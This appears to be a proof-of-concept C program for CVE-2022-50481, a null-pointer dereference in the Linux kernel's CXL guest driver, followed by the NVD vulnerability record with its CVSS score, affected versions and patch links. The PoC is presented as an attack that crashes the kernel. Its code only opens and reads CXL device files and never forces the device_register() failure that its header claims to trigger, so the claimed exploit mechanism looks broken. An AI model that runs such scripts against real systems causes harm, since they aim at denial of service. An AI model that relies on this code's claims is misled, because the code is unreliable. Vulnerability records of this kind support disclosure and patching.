CVE-2022-50481

/* CVE-2022-50481 PoC - Trigger null-ptr-deref in cxl_guest_init_afu/adapter() * * This PoC demonstrates how to trigger the vulnerability by forcing * device_register() to fail in the CXL Guest driver initialization path. * * Compile: gcc -o poc_cve_2022_50481 poc_cve_2022_50481.c * Note: Requires root privileges and CXL support in kernel */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> /* Trigger CXL Guest AFU initialization by accessing cxl device files */ int trigger_cxl_afu_init(const char *afu_path) { int fd; char buf[4096]; /* Attempt to open and interact with CXL AFU device */ fd = open(afu_path, O_RDWR); if (fd < 0) { perror("open CXL AFU device"); return -1; } /* Perform IOCTL or read operations to trigger initialization */ /* This may cause device_register() to fail under specific conditions */ if (read(fd, buf, sizeof(buf)) < 0) { perror("read CXL AFU device"); } close(fd); return 0; } /* Trigger CXL Guest Adapter initialization */ int trigger_cxl_adapter_init(const char *adapter_path) { int fd; fd = open(adapter_path, O_RDWR); if (fd < 0) { perror("open CXL adapter device"); return -1; } /* Interact with adapter to trigger init path */ close(fd); return 0; } int main(int argc, char *argv[]) { printf("CVE-2022-50481 PoC - CXL Guest null-ptr-deref\n"); /* Try to trigger via AFU path */ if (argc > 1) { trigger_cxl_afu_init(argv[1]); } else { /* Default CXL device paths */ trigger_cxl_afu_init("/dev/cxl/afu0.0"); trigger_cxl_adapter_init("/dev/cxl/card0"); } printf("Trigger completed. Check dmesg for kernel oops.\n"); return 0; }

{"cve": {"id": "CVE-2022-50481", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:44.840", "lastModified": "2026-01-23T20:12:07.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl: fix possible null-ptr-deref in cxl_guest_init_afu|adapter()\n\nIf device_register() fails in cxl_register_afu|adapter(), the device\nis not added, device_unregister() can not be called in the error path,\notherwise it will cause a null-ptr-deref because of removing not added\ndevice.\n\nAs comment of device_register() says, it should use put_device() to give\nup the reference in the error path. So split device_unregister() into\ndevice_del() and put_device(), then goes to put dev when register fails."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6", "versionEndExcluding": "4.9.337", "matchCriteriaId": "9AD78F83-B106-4392-AF43-986CAF38813A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "4.14.303", "matchCriteriaId": "1E7450AD-4739-46F0-B81B-C02E7B35A97B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.270", "matchCriteriaId": "AE8904A3-99BE-4E49-9682-1F90A6373F4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.229", "matchCriteriaId": "A0C0D95E-414A-445E-941B-3EF6A4D3A093"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.86", "matchCriteriaId": "47237296-55D1-4ED4-8075-D00FC85A61EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/170e8c2d2b61e15e7f7cfeded81bc1e959a15ed8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1ae581696b7a799afa39a664c4b721569643f58a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/60b2ed21a65f3f5318666ccd765c3507991370cf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/61c80d1c3833e196256fb060382db94f24d3d9a7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/96fba6fb95bdede80583c262ac185da09661f264", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ab44c182353be101c3be9465e1d15d42130c53c4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b32559ee4e6667c5c3daf4ec5454c277d1f255d2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d775a1da5a52b4f4bb02f2707ba420d1bec48dbb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e5021bbf11b024cc65ea1e84c377df484183be4b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}